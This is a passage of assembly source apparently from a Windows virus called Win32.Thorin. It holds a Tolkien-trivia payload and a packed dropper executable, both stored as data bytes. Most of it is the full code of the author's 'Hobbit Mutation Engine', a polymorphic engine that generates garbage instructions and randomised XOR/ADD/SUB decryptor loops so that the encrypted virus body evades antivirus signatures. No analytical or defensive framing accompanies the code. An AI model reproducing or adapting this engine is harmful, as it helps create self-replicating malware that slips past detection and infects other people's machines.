db 065h, 020h, 052h, 069h, 06Eh, 067h, 073h, 00Ah
|
||
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 054h, 068h
|
||
db 065h, 020h, 053h, 069h, 06Ch, 06Dh, 061h, 072h
|
||
db 069h, 06Ch, 06Ch, 069h, 06Fh, 06Eh, 00Ah, 00Dh
|
||
db 020h, 05Bh, 063h, 05Dh, 020h, 054h, 068h, 065h
|
||
db 020h, 048h, 06Fh, 062h, 062h, 069h, 074h, 00Ah
|
||
db 00Dh, 00Ah, 00Dh, 000h, 032h, 02Eh, 020h, 057h
|
||
db 068h, 061h, 074h, 020h, 061h, 06Dh, 020h, 069h
|
||
db 020h, 069h, 06Eh, 020h, 074h, 068h, 061h, 074h
|
||
db 020h, 062h, 06Fh, 06Fh, 06Bh, 03Fh, 00Ah, 00Dh
|
||
db 020h, 05Bh, 061h, 05Dh, 020h, 041h, 020h, 064h
|
||
db 077h, 061h, 072h, 066h, 00Ah, 00Dh, 020h, 05Bh
|
||
db 062h, 05Dh, 020h, 041h, 06Eh, 020h, 065h, 06Ch
|
||
db 066h, 00Ah, 00Dh, 020h, 05Bh, 063h, 05Dh, 020h
|
||
db 041h, 020h, 068h, 06Fh, 062h, 062h, 069h, 074h
|
||
db 00Ah, 00Dh, 00Ah, 00Dh, 000h, 033h, 02Eh, 020h
|
||
db 057h, 068h, 061h, 074h, 020h, 069h, 073h, 020h
|
||
db 074h, 068h, 065h, 020h, 06Eh, 061h, 06Dh, 065h
|
||
db 020h, 06Fh, 066h, 020h, 074h, 068h, 065h, 020h
|
||
db 064h, 072h, 061h, 067h, 06Fh, 06Eh, 03Fh, 00Ah
|
||
db 00Dh, 020h, 05Bh, 061h, 05Dh, 020h, 053h, 063h
|
||
db 068h, 072h, 094h, 065h, 064h, 065h, 072h, 00Ah
|
||
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 053h, 06Dh
|
||
db 061h, 075h, 067h, 00Ah, 00Dh, 020h, 05Bh, 063h
|
||
db 05Dh, 020h, 053h, 074h, 061h, 06Ch, 069h, 06Eh
|
||
db 00Ah, 00Dh, 00Ah, 00Dh, 000h
|
||
p_size equ ($-offset payl0ad)
|
||
|
||
; ===========================================================================
|
||
; Dropper code (packed)
|
||
; ===========================================================================
|
||
|
||
dropper label byte
|
||
db 04Dh, 05Ah, 0F8h, 000h, 001h, 000h, 016h, 000h
|
||
db 003h, 000h, 004h, 000h, 003h, 000h, 0FFh, 0FFh
|
||
db 0F0h, 0FFh, 000h, 001h, 000h, 001h, 000h, 003h
|
||
db 000h, 001h, 0F0h, 0FFh, 040h, 000h, 024h, 000h
|
||
db 001h, 000h, 002h, 000h, 0E9h, 000h, 002h, 000h
|
||
db 0E8h, 041h, 000h, 001h, 000h, 046h, 075h, 063h
|
||
db 06Bh, 020h, 079h, 06Fh, 075h, 020h, 061h, 073h
|
||
db 073h, 068h, 06Fh, 06Ch, 065h, 021h, 020h, 054h
|
||
db 068h, 069h, 073h, 020h, 072h, 065h, 071h, 075h
|
||
db 069h, 072h, 065h, 073h, 020h, 061h, 020h, 057h
|
||
db 069h, 06Eh, 033h, 032h, 020h, 065h, 06Eh, 076h
|
||
db 069h, 072h, 06Fh, 06Dh, 065h, 06Eh, 074h, 02Eh
|
||
db 02Eh, 02Eh, 020h, 020h, 00Dh, 00Ah, 024h, 00Eh
|
||
db 01Fh, 0B4h, 009h, 0CDh, 021h, 0C3h, 05Ah, 0E8h
|
||
db 0F5h, 0FFh, 0B4h, 04Ch, 0CDh, 021h, 000h, 071h
|
||
db 000h, 050h, 045h, 000h, 002h, 000h, 04Ch, 001h
|
||
db 005h, 000h, 001h, 000h, 0ABh, 026h, 00Ah, 0B4h
|
||
db 000h, 008h, 000h, 0E0h, 000h, 001h, 000h, 08Eh
|
||
db 083h, 00Bh, 001h, 002h, 019h, 000h, 001h, 000h
|
||
db 002h, 000h, 003h, 000h, 004h, 000h, 008h, 000h
|
||
db 001h, 000h, 003h, 000h, 002h, 000h, 003h, 000h
|
||
db 003h, 000h, 003h, 000h, 040h, 000h, 003h, 000h
|
||
db 001h, 000h, 002h, 000h, 002h, 000h, 002h, 000h
|
||
db 001h, 000h, 007h, 000h, 003h, 000h, 001h, 000h
|
||
db 00Ah, 000h, 007h, 000h, 006h, 000h, 002h, 000h
|
||
db 004h, 000h, 006h, 000h, 002h, 000h, 005h, 000h
|
||
db 001h, 000h, 002h, 000h, 020h, 000h, 004h, 000h
|
||
db 001h, 000h, 002h, 000h, 010h, 000h, 006h, 000h
|
||
db 010h, 000h, 00Dh, 000h, 004h, 000h, 001h, 000h
|
||
db 04Ch, 000h, 01Dh, 000h, 005h, 000h, 001h, 000h
|
||
db 018h, 000h, 053h, 000h, 043h, 04Fh, 044h, 045h
|
||
db 000h, 005h, 000h, 010h, 000h, 004h, 000h, 001h
|
||
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 006h
|
||
db 000h, 011h, 000h, 060h, 02Eh, 069h, 063h, 06Fh
|
||
db 064h, 065h, 000h, 003h, 000h, 010h, 000h, 004h
|
||
db 000h, 002h, 000h, 002h, 000h, 002h, 000h, 003h
|
||
db 000h, 008h, 000h, 00Eh, 000h, 020h, 000h, 002h
|
||
db 000h, 060h, 044h, 041h, 054h, 041h, 000h, 005h
|
||
db 000h, 010h, 000h, 004h, 000h, 003h, 000h, 006h
|
||
db 000h, 00Ah, 000h, 00Eh, 000h, 040h, 000h, 002h
|
||
db 000h, 0C0h, 02Eh, 069h, 064h, 061h, 074h, 061h
|
||
db 000h, 003h, 000h, 010h, 000h, 004h, 000h, 004h
|
||
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 00Ah
|
||
db 000h, 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h
|
||
db 02Eh, 072h, 065h, 06Ch, 06Fh, 063h, 000h, 003h
|
||
db 000h, 010h, 000h, 004h, 000h, 005h, 000h, 002h
|
||
db 000h, 002h, 000h, 003h, 000h, 00Ch, 000h, 00Eh
|
||
db 000h, 040h, 000h, 002h, 000h, 050h, 000h, 040h
|
||
db 003h, 0FFh, 035h, 008h, 000h, 001h, 000h, 043h
|
||
db 000h, 001h, 000h, 0E8h, 0F5h, 0FFh, 000h, 0F7h
|
||
db 001h, 0FFh, 025h, 028h, 000h, 001h, 000h, 044h
|
||
db 000h, 007h, 002h, 030h, 000h, 001h, 000h, 004h
|
||
db 000h, 001h, 000h, 028h, 000h, 001h, 000h, 004h
|
||
db 000h, 015h, 000h, 03Eh, 000h, 001h, 000h, 004h
|
||
db 000h, 005h, 000h, 04Bh, 045h, 052h, 04Eh, 045h
|
||
db 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h
|
||
db 004h, 000h, 045h, 078h, 069h, 074h, 050h, 072h
|
||
db 06Fh, 063h, 065h, 073h, 073h, 000h, 0B7h, 001h
|
||
db 001h, 000h, 001h, 000h, 00Ch, 000h, 003h, 000h
|
||
db 002h, 030h, 000h, 004h, 000h, 002h, 000h, 001h
|
||
db 000h, 00Ch, 000h, 003h, 000h, 002h, 030h, 000h
|
||
db 0E2h, 01Eh
|
||
dropper_size equ ($-offset dropper)
|
||
|
||
; ===========================================================================
|
||
; [THME] - The Hobbit Mutation Engine
|
||
; ===========================================================================
|
||
;
|
||
; ?????????????? ???????????????????????????????????????????» ??????????????
|
||
; ???????????????? ??? ??????? ?? ?? ???????? ??????? ??? ????????????????
|
||
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
|
||
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
|
||
; ???????????????» ??? ??? ?? ?? ?? ?? ?? ??????? ??? ????????????????
|
||
; ?????????????? ???????????????????????????????????????????? ??????????????
|
||
;
|
||
;
|
||
; This is a little polymorphic engine dessigned for my Win32.Thorin v1.00 vi-
|
||
; rus. It isn't very powerful, as it wasn't dessigned to be an unreachable
|
||
; engine, because the virus is enough big without poly, so i didn't wanted it
|
||
; to grow too much. It isn't my first poly engine for Win32 enviroments, but
|
||
; it is the first one i finished (and the simplest one). It is messy, unopti-
|
||
; mized, etc. But let me talk about its features:
|
||
;
|
||
; ? Non-realistic code (copro used, etc)
|
||
; ? Able of use any register (except ESP) as Pointer, Counter, and Delta.
|
||
; ? Crypt operations : ADD/SUB/XOR
|
||
; ? Garbage generator abilities:
|
||
; - CALLs to subroutines (can be recursive)
|
||
; - Arithmetic operations REG32/REG32
|
||
; - Arithmetic operations REG32/IMM32
|
||
; - Arithmetic operations EAX32/IMM32
|
||
; - MOV reg32,reg32/imm32
|
||
; - MOV reg16,reg16/imm16
|
||
; - PUSH/Garbage/POP structures
|
||
; - Coprocessor opcodes
|
||
; - Simple onebyters
|
||
; ? Encryptor fixed size, 2048 bytes.
|
||
;
|
||
; I coded this engine in a record time ;) Pfff, maaaany improvements could be
|
||
; made, i know, but i think there will be another versions of the virus, so i
|
||
; will try to fix bugs (if any) and improve the junk generation, that is very
|
||
; weak, as well as the encryption is.
|
||
;
|
||
; input:
|
||
; ECX = Size of code to encrypt/4
|
||
; ESI = Pointer to the data to encrypt
|
||
; EDI = Buffer where the decryptor+encrypted virus body will go
|
||
; EBP = Delta Offset
|
||
; output:
|
||
; ECX = Decryptor size
|
||
;
|
||
; All the other registers, preserved.
|
||
;
|
||
|
||
LIMIT equ 400h ; Decryptor size
|
||
|
||
RECURSION equ 05h ; The recursion level of THME
|
||
|
||
_EAX equ 00000000b ; All these are the numeric
|
||
_ECX equ 00000001b ; value of all the registers.
|
||
_EDX equ 00000010b ; Heh, i haven't used here
|
||
_EBX equ 00000011b ; all this, but... wtf? they
|
||
_ESP equ 00000100b ; don't waste bytes, and ma-
|
||
_EBP equ 00000101b ; ke this shit to be more
|
||
_ESI equ 00000110b ; clear :)
|
||
_EDI equ 00000111b ;
|
||
|
||
; [ PUSHAD structure ]
|
||
|
||
PUSHAD_EDI equ 00h
|
||
PUSHAD_ESI equ 04h
|
||
PUSHAD_EBP equ 08h
|
||
PUSHAD_ESP equ 0Ch
|
||
PUSHAD_EBX equ 10h
|
||
PUSHAD_EDX equ 14h
|
||
PUSHAD_ECX equ 18h
|
||
PUSHAD_EAX equ 1Ch
|
||
|
||
RETURN_ADDRESS equ 04h
|
||
|
||
; [ THME_CryptOp ]
|
||
|
||
_XOR equ 00000001b ; XOR / XOR \
|
||
_ADD equ 00000010b ; ADD / SUB > Base crypt
|
||
_SUB equ 00000100b ; SUB / ADD /
|
||
|
||
; mamamamamama weer creezy now...
|
||
|
||
salc equ
|
||
|
||
THME proc
|
||
pushad
|
||
call THME_InitVariables ; Initialize poly engine
|
||
|
||
call THME_BunchOfShit ; Garbage!
|
||
|
||
mov eax,sTHME_Decrypt1 ; Get decryptor order in its
|
||
call r_range ; first part
|
||
lea esi,[ebp+THME_Decrypt1+eax*4]
|
||
lodsd
|
||
add eax,ebp
|
||
xchg eax,esi
|
||
|
||
mov ecx,3 ; Generate real instruction
|
||
THME_BuildIt: ; plus some garbage
|
||
lodsd
|
||
add eax,ebp
|
||
push esi ecx
|
||
call eax
|
||
call THME_BunchOfShit
|
||
pop ecx esi
|
||
loop THME_BuildIt
|
||
|
||
call THME_BunchOfShit ; Generate the last part of
|
||
call THME_StoreLoop ; the poly
|
||
call THME_BunchOfShit
|
||
call THME_GenCryptOperations
|
||
call THME_BunchOfShit
|
||
call THME_GenIncPointer
|
||
call THME_BunchOfShit
|
||
call THME_GenDecCounter
|
||
call THME_GenLoop
|
||
call THME_BunchOfShit
|
||
|
||
mov al,0E9h ; Generate the JMP to the
|
||
stosb ; decrypted virus code
|
||
mov eax,LIMIT
|
||
mov ebx,edi
|
||
sub ebx,dword ptr [ebp+THME_Pointer]
|
||
add ebx,04h
|
||
sub eax,ebx
|
||
stosd
|
||
|
||
xchg eax,ecx ; Fill with shit the rest
|
||
THME_FillTheRest:
|
||
call random
|
||
stosb
|
||
loop THME_FillTheRest
|
||
|
||
call THME_CryptData
|
||
|
||
call THME_ClosePoly
|
||
popad
|
||
ret
|
||
|
||
db 00h,"[THME v1.00]",00h
|
||
|
||
THME_InitVariables:
|
||
mov dword ptr [ebp+THME_Pointer],edi ; Save all given data
|
||
mov dword ptr [ebp+THME_Data2crypt],esi
|
||
mov dword ptr [ebp+THME_S2C_div4],ecx
|
||
and byte ptr [ebp+THME_Recursion],00h
|
||
THME_IV_GetCounter: ; Get a valid register for
|
||
mov eax,08h ; use as counter
|
||
call r_range
|
||
or eax,eax
|
||
jz THME_IV_GetCounter
|
||
cmp eax,_ESP
|
||
jz THME_IV_GetCounter
|
||
mov byte ptr [ebp+THME_CounterReg],al
|
||
mov ebx,eax
|
||
THME_IV_GetPointer: ; Get a valid register for
|
||
mov eax,08h ; use as a pointer
|
||
call r_range
|
||
or eax,eax
|
||
jz THME_IV_GetPointer
|
||
cmp eax,_ESP
|
||
jz THME_IV_GetPointer
|
||
cmp eax,ebx
|
||
jz THME_IV_GetPointer
|
||
mov byte ptr [ebp+THME_PointerReg],al
|
||
mov ecx,eax
|
||
|
||
THME_IV_GetDelta: ; Get a valid register for
|
||
mov eax,08h ; use as delta
|
||
call r_range
|
||
or eax,eax
|
||
jz THME_IV_GetDelta
|
||
cmp eax,_ESP
|
||
jz THME_IV_GetDelta
|
||
cmp eax,ebx
|
||
jz THME_IV_GetDelta
|
||
cmp eax,ecx
|
||
jz THME_IV_GetDelta
|
||
mov byte ptr [ebp+THME_DeltaReg],al
|
||
|
||
call random ; Get math operation for crypt
|
||
and al,00000111b
|
||
mov byte ptr [ebp+THME_CryptOp],al
|
||
|
||
mov dword ptr [edi],"EMHT" ; Mark :)
|
||
ret
|
||
|
||
THME_ClosePoly: ; Return in ECX the size of
|
||
mov ecx,edi ; the engine (not needed)
|
||
sub ecx,dword ptr [ebp+THME_Pointer]
|
||
mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
|
||
ret
|
||
|
||
; THME_GETREGISTER
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; AL = Register unused by the decryptor
|
||
;
|
||
|
||
THME_GetRegister:
|
||
movzx ebx,byte ptr [ebp+THME_CounterReg]
|
||
movzx ecx,byte ptr [ebp+THME_PointerReg]
|
||
movzx edx,byte ptr [ebp+THME_DeltaReg]
|
||
THME_GR_GetIt:
|
||
mov eax,08h ; Get a register
|
||
call r_range
|
||
cmp eax,_ESP ; Mustn't be ESP
|
||
jz THME_GR_GetIt
|
||
cmp eax,ebx ; Mustn't be equal to counter
|
||
jz THME_GR_GetIt
|
||
cmp eax,ecx ; Mustn't be equal to pointer
|
||
jz THME_GR_GetIt
|
||
cmp eax,edx ; Mustn't be equal to delta
|
||
jz THME_GR_GetIt
|
||
ret
|
||
|
||
; Garbage generator (recursion depht = 3)
|
||
|
||
THME_GenGarbage:
|
||
inc byte ptr [ebp+THME_Recursion] ; Increase recursivity
|
||
cmp byte ptr [ebp+THME_Recursion],RECURSION ; Over our limit?
|
||
jae THME_GG_Exit ; Shitz...
|
||
|
||
mov eax,sTHME_GBG_Table ; Select a garbage generator
|
||
call r_range ; from our table
|
||
lea ebx,[ebp+THME_GBG_Table]
|
||
mov eax,[ebx+eax*4]
|
||
add eax,ebp
|
||
call eax ; Call it
|
||
|
||
THME_GG_Exit:
|
||
dec byte ptr [ebp+THME_Recursion] ; Decrease recursion level
|
||
ret
|
||
|
||
; Call 6 times to the garbage generator
|
||
|
||
THME_BunchOfShit:
|
||
mov ecx,0Ch
|
||
THME_BOS_Loop:
|
||
push ecx
|
||
call THME_GenGarbage
|
||
pop ecx
|
||
loop THME_BOS_Loop
|
||
ret
|
||
|
||
; THME_GBGB_GETVALIDRIB
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; AL = RegInfoByte that could be used for garbage regxx/regxx
|
||
;
|
||
|
||
THME_GBG_GetValidRiB:
|
||
xor eax,eax
|
||
call THME_GetRegister ; Get a valid register for be
|
||
mov ecx,eax ; the target
|
||
shl eax,3
|
||
push eax
|
||
THME_GBG_GVRiB:
|
||
mov eax,8 ; Get any register for be used
|
||
call r_range ; as source
|
||
cmp eax,ecx
|
||
jz THME_GBG_GVRiB ; Can't be source=target
|
||
xchg ebx,eax
|
||
pop eax
|
||
add eax,ebx
|
||
add al,11000000b ; Fix this
|
||
ret
|
||
|
||
; ---
|
||
|
||
THME_GBG_Arithmetic_EAX_IMM32:
|
||
call random
|
||
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
|
||
or al,00000101b
|
||
stosb
|
||
call random
|
||
stosd
|
||
ret
|
||
|
||
THME_GBG_Arithmetic_REG32_REG32:
|
||
call random
|
||
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
|
||
or al,00000011b
|
||
stosb
|
||
THME_GBG_A_R32_R32_GR:
|
||
call THME_GetRegister ; Don't use EAX
|
||
or al,al
|
||
jz THME_GBG_A_R32_R32_GR
|
||
shl eax,3
|
||
add al,11000000b
|
||
push eax
|
||
call random
|
||
and al,00000111b
|
||
xchg ebx,eax
|
||
pop eax
|
||
add al,bl
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_Arithmetic_REG32_IMM32:
|
||
mov al,81h ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
|
||
stosb
|
||
THME_GBG_A_R32_I32_GR:
|
||
call THME_GetRegister
|
||
or al,al
|
||
jz THME_GBG_A_R32_I32_GR
|
||
push eax
|
||
call random
|
||
and al,00111000b
|
||
add al,11000000b
|
||
pop ebx
|
||
add al,bl
|
||
stosb
|
||
call random
|
||
stosd
|
||
ret
|
||
|
||
THME_GBG_GenOneByter:
|
||
mov eax,sTHME_OneByters ; NOP/LAHF/INC EAX/DEC EAX/STI/CLD/
|
||
call r_range ; CMC/STC/CLC
|
||
mov al,[ebp+THME_OneByters+eax]
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_GenCopro:
|
||
cmp byte ptr [ebp+THME_CoproInit],00h ; If first call, put a FINIT
|
||
jz THME_GC_GenFINIT
|
||
mov eax,sTHME_OneByters ; If not, put any copro opcode
|
||
call r_range
|
||
|
||
lea ebx,[ebp+THME_Copro]
|
||
movzx eax,word ptr [ebx+eax*2]
|
||
stosw
|
||
ret
|
||
|
||
THME_GC_GenFINIT:
|
||
inc byte ptr [ebp+THME_CoproInit]
|
||
mov ax,0E3DBh ; FINIT
|
||
stosw
|
||
ret
|
||
|
||
THME_GBG_MOV_REG16_REG16:
|
||
mov al,66h ; MOV ?X,?X
|
||
stosb
|
||
call THME_GBG_GetValidRiB
|
||
push eax
|
||
mov al,08Bh
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_MOV_REG16_IMM16:
|
||
mov al,66h ; MOV ?X,????
|
||
stosb
|
||
call THME_GetRegister
|
||
add al,0B8h
|
||
stosb
|
||
call random
|
||
stosw
|
||
ret
|
||
|
||
THME_GBG_MOV_REG32_REG32:
|
||
call THME_GBG_GetValidRiB ; MOV E??,E??
|
||
push eax
|
||
mov al,8Bh
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_MOV_REG32_IMM32:
|
||
call THME_GetRegister ; MOV E??,????????
|
||
add al,0B8h
|
||
stosb
|
||
call random
|
||
stosd
|
||
ret
|
||
|
||
THME_GBG_GenPUSHPOP: ; PUSH E??
|
||
mov eax,8 ; ...
|
||
call r_range ; POP E??
|
||
add al,50h
|
||
stosb
|
||
call THME_GenGarbage
|
||
call THME_GetRegister
|
||
add al,58h
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_GenCALL_Type1: ; CALL @@1
|
||
mov al,0E8h ; ...
|
||
stosb ; JMP @@2
|
||
xor eax,eax ; ...
|
||
stosd ; @@1:
|
||
push edi ; ...
|
||
call THME_GenGarbage ; RET
|
||
mov al,0E9h ; ...
|
||
stosb ; @@2:
|
||
xor eax,eax ; ...
|
||
stosd
|
||
push edi
|
||
call THME_GenGarbage
|
||
mov al,0C3h
|
||
stosb
|
||
call THME_GenGarbage
|
||
mov ebx,edi
|
||
pop edx
|
||
sub ebx,edx
|
||
mov [edx-4],ebx
|
||
pop ecx
|
||
sub edx,ecx
|
||
mov [ecx-4],edx
|
||
ret
|
||
|
||
; ---
|
||
|
||
THME_CryptData: ; Encrypt given data with proper operation
|
||
mov esi,dword ptr [ebp+THME_Data2crypt]
|
||
mov edi,esi
|
||
mov ecx,dword ptr [ebp+THME_S2C_div4]
|
||
THME_CD_EncryptLoop:
|
||
lodsd
|
||
push ecx
|
||
call THME_DoCryptOperations
|
||
pop ecx
|
||
stosd
|
||
loop THME_CD_EncryptLoop
|
||
ret
|
||
|
||
THME_DoCryptOperations:
|
||
test byte ptr [ebp+THME_CryptOp],_XOR
|
||
jz THME_DCO_XOR
|
||
test byte ptr [ebp+THME_CryptOp],_ADD
|
||
jz THME_DCO_ADD
|
||
THME_DCO_SUB:
|
||
add eax,dword ptr [ebp+THME_Key1]
|
||
jmp THME_DCO_EXIT
|
||
THME_DCO_ADD:
|
||
sub eax,dword ptr [ebp+THME_Key1]
|
||
jmp THME_DCO_EXIT
|
||
THME_DCO_XOR:
|
||
xor eax,dword ptr [ebp+THME_Key1]
|
||
THME_DCO_EXIT:
|
||
ret
|
||
|
||
; ---
|
||
|
||
THME_GenDeltaOffset: ; CALL @@1
|
||
mov eax,10h ; ...
|
||
call r_range ; @@1:
|
||
xchg eax,ebx ; POP E??
|
||
mov al,0E8h
|
||
stosb
|
||
xor eax,eax
|
||
stosd
|
||
mov dword ptr [ebp+THME_GDO_TmpCll],edi
|
||
call THME_GenGarbage
|
||
mov ecx,dword ptr [ebp+THME_GDO_TmpCll]
|
||
mov ebx,edi
|
||
sub ebx,ecx
|
||
mov [ecx-4],ebx
|
||
mov al,58h
|
||
add al,byte ptr [ebp+THME_DeltaReg]
|
||
stosb
|
||
mov ebx,dword ptr [ebp+THME_Pointer]
|
||
sub ecx,ebx
|
||
mov dword ptr [ebp+THME_Fix1],ecx
|
||
ret
|
||
|
||
THME_GenLoadSize:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GLS_@@2
|
||
THME_GLS_@@1:
|
||
mov al,68h ; PUSH ????????
|
||
; ...
|
||
stosb ; POP E??
|
||
mov eax,dword ptr [ebp+THME_S2C_div4]
|
||
stosd
|
||
call THME_GenGarbage
|
||
mov al,58h
|
||
add al,byte ptr [ebp+THME_CounterReg]
|
||
stosb
|
||
ret
|
||
THME_GLS_@@2:
|
||
movzx eax,byte ptr [ebp+THME_CounterReg]
|
||
add eax,0B8h ; MOV E??,????????
|
||
stosb
|
||
mov eax,dword ptr [ebp+THME_S2C_div4]
|
||
stosd
|
||
ret
|
||
|
||
THME_GenLoadPointer:
|
||
mov al,8Dh ; LEA E??,[E??+????????]
|
||
stosb
|
||
movzx eax,byte ptr [ebp+THME_PointerReg]
|
||
shl al,3
|
||
add al,10000000b
|
||
add al,byte ptr [ebp+THME_DeltaReg]
|
||
stosb
|
||
mov eax,LIMIT
|
||
sub eax,dword ptr [ebp+THME_Fix1]
|
||
stosd
|
||
ret
|
||
|
||
THME_StoreLoop:
|
||
mov dword ptr [ebp+THME_LoopAddress],edi
|
||
ret
|
||
|
||
THME_GenCryptOperations:
|
||
mov al,81h
|
||
stosb
|
||
test byte ptr [ebp+THME_CryptOp],_XOR
|
||
jz THME_GCO_XOR
|
||
test byte ptr [ebp+THME_CryptOp],_ADD
|
||
jz THME_GCO_ADD
|
||
THME_GCO_SUB:
|
||
mov al,28h ; SUB [E??],????????
|
||
jmp THME_GCO_BuildRiB
|
||
THME_GCO_ADD:
|
||
xor al,al ; ADD [E??],????????
|
||
jmp THME_GCO_BuildRiB
|
||
THME_GCO_XOR:
|
||
mov al,30h ; XOR [E??],????????
|
||
THME_GCO_BuildRiB:
|
||
add al,byte ptr [ebp+THME_PointerReg]
|
||
cmp byte ptr [ebp+THME_PointerReg],_EBP
|
||
jnz THME_GCO_BR_NoEBP
|
||
or al,01000000b
|
||
stosb
|
||
xor al,al
|
||
stosb
|
||
jmp $+3
|
||
THME_GCO_BR_NoEBP:
|
||
stosb
|
||
call random
|
||
mov dword ptr [ebp+THME_Key1],eax
|
||
stosd
|
||
THME_GCO_EXIT:
|
||
ret
|
||
|
||
THME_GenIncPointer:
|
||
mov eax,5
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@2
|
||
dec ecx
|
||
jecxz THME_GIP_@@3
|
||
dec ecx
|
||
jecxz THME_GIP_@@4
|
||
dec ecx
|
||
jnz THME_GIP_@@1
|
||
jmp THME_GIP_@@5
|
||
|
||
THME_GIP_@@1:
|
||
mov bl,4 ; ADD E??,4
|
||
call THME_GIP_AddIt
|
||
jmp THME_GIP_EXIT
|
||
|
||
THME_GIP_@@2:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@2_@@2
|
||
THME_GIP_@@2_@@1:
|
||
mov bl,3 ; ADD E??,3
|
||
call THME_GIP_AddIt
|
||
mov bl,1 ; INC E??
|
||
call THME_GIP_IncIt
|
||
jmp THME_GIP_@@2_EXIT
|
||
THME_GIP_@@2_@@2:
|
||
mov bl,1 ; INC E??
|
||
call THME_GIP_IncIt
|
||
mov bl,3
|
||
call THME_GIP_AddIt ; ADD E??,3
|
||
THME_GIP_@@2_EXIT:
|
||
jmp THME_GIP_EXIT
|
||
|
||
THME_GIP_@@3:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@3_@@2
|
||
THME_GIP_@@3_@@1:
|
||
mov bl,2 ; ADD E??,2
|
||
call THME_GIP_AddIt
|
||
mov bl,2 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
jmp THME_GIP_@@2_EXIT
|
||
THME_GIP_@@3_@@2:
|
||
mov bl,2 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
mov bl,2 ; ADD E??,2
|
||
call THME_GIP_AddIt
|
||
jmp THME_GIP_@@2_EXIT
|
||
|
||
THME_GIP_@@4:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@4_@@2
|
||
THME_GIP_@@4_@@1:
|
||
mov bl,1 ; ADD E??,1
|
||
call THME_GIP_AddIt ; INC E??
|
||
mov bl,3 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
jmp THME_GIP_@@2_EXIT
|
||
THME_GIP_@@4_@@2:
|
||
mov bl,1 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
mov bl,3 ; INC E??
|
||
call THME_GIP_AddIt ; ADD E??,1
|
||
jmp THME_GIP_@@2_EXIT
|
||
|
||
THME_GIP_@@5: ; INC E??
|
||
mov bl,4 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
; INC E??
|
||
|
||
THME_GIP_EXIT:
|
||
ret
|
||
|
||
THME_GIP_AddIt:
|
||
mov al,83h
|
||
stosb
|
||
mov al,byte ptr [ebp+THME_PointerReg]
|
||
or al,11000000b
|
||
stosb
|
||
mov al,bl
|
||
stosb
|
||
ret
|
||
|
||
THME_GIP_IncIt:
|
||
movzx ecx,bl
|
||
mov al,40h
|
||
add al,byte ptr [ebp+THME_PointerReg]
|
||
THME_GIP_II_Loop:
|
||
stosb
|
||
pushad
|
||
call THME_GenGarbage
|
||
popad
|
||
loop THME_GIP_II_Loop
|
||
ret
|
||
|
||
THME_GenDecCounter:
|
||
mov eax,3
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GDC_@@2
|
||
dec ecx
|
||
jecxz THME_GDC_@@3
|
||
THME_GDC_@@1: ; SUB E??,1
|
||
mov al,83h
|
||
stosb
|
||
mov al,byte ptr [ebp+THME_CounterReg]
|
||
or al,11101000b
|
||
stosb
|
||
mov al,1
|
||
stosb
|
||
jmp THME_GDC_EXIT
|
||
THME_GDC_@@2:
|
||
mov al,48h ; DEC E??
|
||
add al,byte ptr [ebp+THME_CounterReg]
|
||
stosb
|
||
jmp THME_GDC_EXIT
|
||
THME_GDC_@@3:
|
||
mov al,83h ; ADD E??,-1
|
||
stosb
|
||
mov al,byte ptr [ebp+THME_CounterReg]
|
||
or al,11000000b
|
||
stosb
|
||
mov al,0FFh
|
||
stosb
|
||
THME_GDC_EXIT:
|
||
ret
|
||
|
||
THME_GenLoop:
|
||
mov ax,850Fh ; JNZ FAR ????????
|
||
stosw
|
||
mov eax,dword ptr [ebp+THME_LoopAddress]
|
||
sub eax,edi
|
||
sub eax,00000004h
|
||
stosd
|
||
ret
|
||
|
||
THME_OneByters label byte
|
||
cld
|
||
cmc
|
||
clc
|
||
stc
|
||
dec eax
|
||
inc eax
|
||
lahf
|
||
nop
|
||
salc
|
||
sTHME_OneByters equ ($-THME_OneByters)
|
||
|
||
THME_Copro label byte
|
||
f2xm1
|
||
fabs
|
||
fadd
|
||
faddp
|
||
fchs
|
||
fnclex
|
||
fcom
|
||
fcomp
|
||
fcompp
|
||
fcos
|
||
fdecstp
|
||
fdiv
|
||
fdivp
|
||
fdivr
|
||
fdivrp
|
||
ffree
|
||
fincstp
|
||
fld1
|
||
fldl2t
|
||
fldl2e
|
||
fldpi
|
||
fldln2
|
||
fldz
|
||
fmul
|
||
fmulp
|
||
fnclex
|
||
fnop
|
||
fpatan
|
||
fprem
|
||
fprem1
|
||
fptan
|
||
frndint
|
||
fscale
|
||
fsin
|
||
fsincos
|
||
fsqrt
|
||
fst
|
||
fstp
|
||
fsub
|
||
fsubp
|
||
fsubr
|
||
fsubrp
|
||
ftst
|
||
fucom
|
||
fucomp
|
||
